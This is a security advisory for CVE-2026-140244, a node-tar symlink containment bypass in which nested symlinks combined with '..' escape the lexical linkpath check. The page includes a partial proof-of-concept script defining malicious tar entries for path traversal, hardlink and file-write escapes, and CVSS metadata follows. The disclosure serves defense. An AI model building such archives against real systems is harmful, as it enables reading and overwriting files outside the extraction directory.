CVE-2026-140244
### Summary node-tar checks that a symlink's target stays inside `cwd`, but the check is lexical. It runs `path.resolve(dirname, linkpath)`, which collapses `..` without following symlinks. Entry 1 `s1 -> .` is accepted because its target is cwd. Entry 2 `s2 -> s1/../secret.txt` resolves lexically to `<cwd>/secret.txt` and is accepted too. On disk the kernel resolves `s1` to cwd first and then applies `..`, so `s2` points to `<cwd>/../secret.txt`, outside the extraction root. Repeating `s1/` climbs further. node-tar rejects the direct form (`../secret.txt` gives TAR_ENTRY_ERROR), so it treats outside-pointing symlinks as in scope. This bypasses the linkpath containment added for GHSA-8qq5-rm4j-mr97 and related advisories. ### Affected tar 7.5.22 (latest). `src/unpack.ts`, the `[STRIPABSOLUTEPATH]` normalize/startsWith('../') check and the `[SYMLINK]` path (`dist/esm/unpack.js` around lines 224-244 and 511-513). ### Reproduction tar 7.5.22, tar-stream 3.2.2, node 22, Docker with `--network none`. `secret.txt` sits next to the extraction dir. ```js const tar = require('tar'), tarstream = require('tar-stream'), fs = require('fs'), path = require('path'); const base = process.argv[2]; const root = path.join(base,'root'); const ext = path.join(root,'ext'); fs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,'secret.txt'),'CANARY\n'); const ents = { direct: [{name:'evil',type:'symlink',linkname:'../secret.txt'}], dotdot_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/../secret.txt'}], hardlink_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'h',type:'link',linkname:'s1/../secret.txt'}], hardlink_abs: [{name:'h',type:'link',linkname:path.join(root,'secret.txt')}], file_through_link: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/..'},{name:'s2/pwn.txt',type:'file',data:'X'}], }; (async()=>{ for (const [k,es] of Object.entries(ents)) { fs.rmSync(ext,{recursive:true,
Properties
- Severity
- high
- Summary
- node-tar: Symlink containment bypass via nested symlink + '..' (lexical linkpath check)
- Nvd fetched at
- 2026-12-02T06:37:54.190518+00:00
- Cvss severity
- HIGH
- Cvss score
- 7.2
- Retrieved at
- 2026-12-02T06:39:20+00:00
- Ghsa published
- 2026-12-02T01:10:55Z
- Source url
- https://github.com/advisories/GHSA-mhqm-9wj8-w7r4
- Ghsa updated
- 2026-12-02T01:10:57Z
- Ghsa id
- GHSA-mhqm-9wj8-w7r4
- Last source
- GitHub Advisory Database
- Score
- 7.2
- Cvss version
- 4.0
- Cve id
- CVE-2026-140244
- Cvss vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- First seen by Signal
- 2026-12-01T18:35:21+00:00
- Name
- CVE-2026-140244
- Is ghsa only
- false
- Vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Published at
- 2026-12-01T18:17:28.623
Related Entities (4)
HAS_WEAKNESS (2)
AFFECTS (1)
VULNERABLE_TO (1)
Related research
Explore deeper with Ninja Signal's threat intelligence graph